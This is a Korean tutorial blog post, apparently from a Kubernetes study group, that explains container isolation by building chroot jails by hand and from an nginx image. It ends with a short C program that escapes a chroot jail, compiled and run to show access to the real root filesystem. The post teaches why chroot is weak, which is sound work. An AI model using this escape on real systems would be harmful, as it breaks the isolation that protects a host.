1-1. 컨테이너 격리(chroot)
🌈페이스북 Kubernetes Korea Group에서 진행한 '쿠버네티스 네트워크' 스터디에서 진행한 1주차 스터디 내용입니다.
1) 개요
컨테이너란 Host OS로부터 격리된 환경에서 실행되는 프로세스 그룹이다.
Host OS 커널을 공유하며 컨테이너가 동작하기 때문에 Host OS로부터 컨테이너가 완전히 독립적일 수는 없지만 격리된 공간에서 어플리케이션 동작에 필요한 프로세스만을 묶어서 실행시킬 수 있다.
Process란?
프로그램을 실행하면 메모리(RAM)과 같은 주기억장치로 옮겨오면서 CPU의 자원을 할당받아 실행 중인 프로그램.
출처 : process란
컨테이너 개념의 시작은 1979년에 chroot를 이용해 파일시스템의 격리가 가능해지면서부터이며 이후 여러 발전을 거쳐 현재의 Docker, Kubernetes 등 까지 이어지게 되었다.
컨테이너의 역사 이미지이번 글에서는 컨테이너의 기반이 되는 chroot로 기초적인 컨테이너 개념을 익혀보도록 한다.
2) chroot를 이용한 프로세스 격리
리눅스 파일시스템은 root로부터 파일시스템이 시작된다.
chroot를 통해 특정 디렉토리 경로를 root로 지정하여 환경을 분리할 수 있으며, 상위 디렉토리에 프로세스가 접근할 수 없도록 설정함으로써 해당 경로에 프로세스를 격리시킬 수 있다.
root 하위에 새로운 폴더를 생성하여 격리 공간을 만들어 보겠다.
2-1) 격리 공간 생성
man chroot
로 매뉴얼을 보면 다음과 같이 새로운 경로를 인자로 받아 시행하는 명령어임을 알 수 있다.
CHROOT(8) User Commands CHROOT(8)
NAME
chroot - run command or interactive shell with special root directory
SYNOPSIS
chroot [OPTION] NEWROOT [COMMAND [ARG]...]
chroot OPTION
격리 공간으로 사용할 새로운 폴더를 생성한다.
# cd /
# mkdir jail
💥chroot로 새로운 경로의 커맨드 창에 접속하려고 하면 다음과 같은 에러가 뜨는 것을 볼 수 있다.
<# chroot jail /bin/bash
chroot: failed to run command ‘/bin/bash’: No such file or directory
새로운 경로에 /bin/bash가 없어서 생기는 일로, 기존 루트의 /bin/bash를 새로운 경로로 복사를 해줘야 한다.
# which bash
/bin/bash
# mkdir -p /jail/bin
# cp /bin/bash /jail/bin/
💥그럼에도 불구하고 다시 새로운 경로의 커맨드 창에 접속을 시도하면 같은 에러가 뜬다.
<# chroot jail /bin/bash
chroot: failed to run command ‘/bin/bash’: No such file or directory
이 때 생각해야하는 것이 /bin/bash가 참조해야하는 라이브러리이다.
2-2) 참조 라이브러리 추가
/bin/bash가 참조하는 라이브러리는 ldd
명령어로 확인할 수 있다.
# man ldd
ldd - print shared object dependencies
# ldd /bin/bash
linux-vdso.so.1 (0x00007ffd63f4e000)
libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007f9298ce8000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f9298ce2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9298af0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9298e4d000)
이 라이브러리들을 격리공간에 복사해야 커맨드 창을 확인할 수 있다.
# mkdir -p /jail/lib/
# cp /lib/x86_64-linux-gnu/libtinfo.so.6 /jail/lib
# cp /lib/x86_64-linux-gnu/libdl.so.2 /jail/lib
# cp /lib/x86_64-linux-gnu/libc.so.6 /jail/lib
# mkdir -p /jail/lib64/
# cp /lib64/ld-linux-x86-64.so.2 /jail/lib64
이제 다시 bash로 접근을 해보면 잘 접속되는 것을 확인할 수 있다.
# chroot jail /bin/bash
bash-5.0#
새로운 root를 빠져나가려고 해봐도 exit를 치기 전에는 빠져나가지 못한다.
bash-5.0# cd ..
bash-5.0# pwd
/
bash-5.0# cd ..
bash-5.0# pwd
/
끝!
이면 좋겠지만 과연 새로운 root 밑에 무엇이 있을까? 라는 궁금증에 ls
명령어를 쳐보면
bash-5.0# ls
bash: ls: command not found
💥ls
명령어를 찾을 수 없다는 에러가 뜬다.
사용하고 싶은 명령어 또한 /bin/bash와 마찬가지로 참조 라이브러리를 일일히 추가해주어야 한다.
bash-5.0# exit
exit
# which ls
/bin/ls
# ldd /bin/ls
linux-vdso.so.1 (0x00007ffc2c1e5000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fbd3f948000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbd3f756000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fbd3f6c6000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fbd3f6c0000)
/lib64/ld-linux-x86-64.so.2 (0x00007fbd3f9a1000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fbd3f69d000)
# cp /bin/ls /jail/bin/
# cp /lib/x86_64-linux-gnu/libselinux.so.1 /jail/lib
...(이하 생략)
복사를 한 후 확인을 해보면 ls 명령어가 잘 작동됨을 확인할 수 있다.
# chroot jail /bin/bash
bash-5.0# ls
bin lib lib64
이러한 방식으로 사용하고 싶은 명령어들을 복사하여 격리 환경을 만들 수 있다.
3) chroot와 이미지
사용하고 싶은 명령어를 하나하나 손수 복사하는 방법 말고도 이미지를 이용하여 한번에 환경을 생성하는 방법을 사용할 수 있다.
- nginx 이미지 가져오기
- nginx 이미지 압축
- 새로운 경로에 압축 풀기
- 새로운 경로로 접속
- nginx 실행
# cd /
# mkdir jail2
# docker export $(docker create nginx:latest) | tar -C jail2 -xvf -
# chroot jail2 /bin/sh
--접속--
#
# ls
bin dev docker-entrypoint.sh home lib64 mnt proc run srv tmp var
boot docker-entrypoint.d etc lib media opt root sbin sys usr
새로운 root에서 nginx를 daemon off
를 이용해 foreground로 실행시킨 후 curl localhost
를 실행시켜보자
--새로운 root jail2--
# nginx -g "daemon off"
--root(새 터미널로 접속)--
# curl localhost
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
...
4) chroot 탈옥
이렇게 만든 격리 환경에는 큰 문제점이 있다.
바로 격리 환경 탈옥이 가능하다는 것이다.
4-1) 탈옥 코드
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
mkdir(".out",0755);
chroot(".out");
chdir("../../../../../");
chroot(".");
return execl("/bin/sh","-i",NULL);
}
해당 코드는 다음을 수행하게 된다.
- mkdir을 이용하여 chroot() 로 생성한 격리된 공간(현재 작업 디렉토리)에 임시 디렉토리를 생성한다.
- chroot를 이용하여 격리된 공간의 루트 디렉토리를 1에서 생성한 임시 디렉토리로 변경한다.
- chdir("../../../../../")을 이용하여 현재 작업 디렉토리를 chroot 환경 외부에 있는 실제 루트 디렉토리로 이동한다.
- chroot(".") 명령어로 격리된 공간의 루트 디렉토리를 현재 작업 디렉토리인 실제 루트 디렉토리로 변경한다.
- /bin/sh를 실행시켜 쉘스크립트를 실행시킨다.
코드를 실행시켜 탈옥을 확인해보자
# vi excape_chroot.c -> 위 탈옥 코드 입력
# gcc -o jail2/escape_chroot escape_chroot.c -> 탈옥 코드 컴파일 후 새로운 경로에 복사
# chroot jail2 /bin/sh -> 새로운 경로를 root로 스크립트 실행
# ls
bin docker-entrypoint.d etc lib64 opt run sys var
boot docker-entrypoint.sh home media proc sbin tmp
dev escape_chroot lib mnt root srv usr
# ./excape_chroot -> 코드 실행
# ls -> 탈옥을 확인
bin escape_chroot.c jail2 lib64 media proc sbin sys var
boot etc lib libx32 mnt root snap tmp
dev home lib32 lost+found opt run srv usr
파일을 생성해서 실제 root를 read|write 할 수 있는지 확인해보자.
# touch realout
# ls
bin escape_chroot.c jail2 lib64 media proc run srv usr
boot etc lib libx32 mnt realout sbin sys var
dev home lib32 lost+found opt root snap tmp
# exit
# exit
root@ubuntu-focal:/# ls
bin escape_chroot.c jail2 lib64 media proc run srv usr
boot etc lib libx32 mnt realout sbin sys var
dev home lib32 lost+found opt root snap tmp
chroot로 만든 격리 공간을 탈옥하여 read|write까지 가능한 것을 확인할 수 있다.
다음 글에서는 탈옥이 불가능하도록 설정하는 방법에 대해 작성하겠다.(pivot-root + namespace)
reference
- https://netpple.github.io/docs/make-container-without-docker/container-internal-1
- 컨테이너 기술의 역사(https://acloudguru.com/blog/engineering/history-of-container-technology)
- 프로세스란(https://wiseworld.tistory.com/53)
Author And Source
이 문제에 관하여(1-1. 컨테이너 격리(chroot)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@_gyullbb/1-1.-컨테이너-격리저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)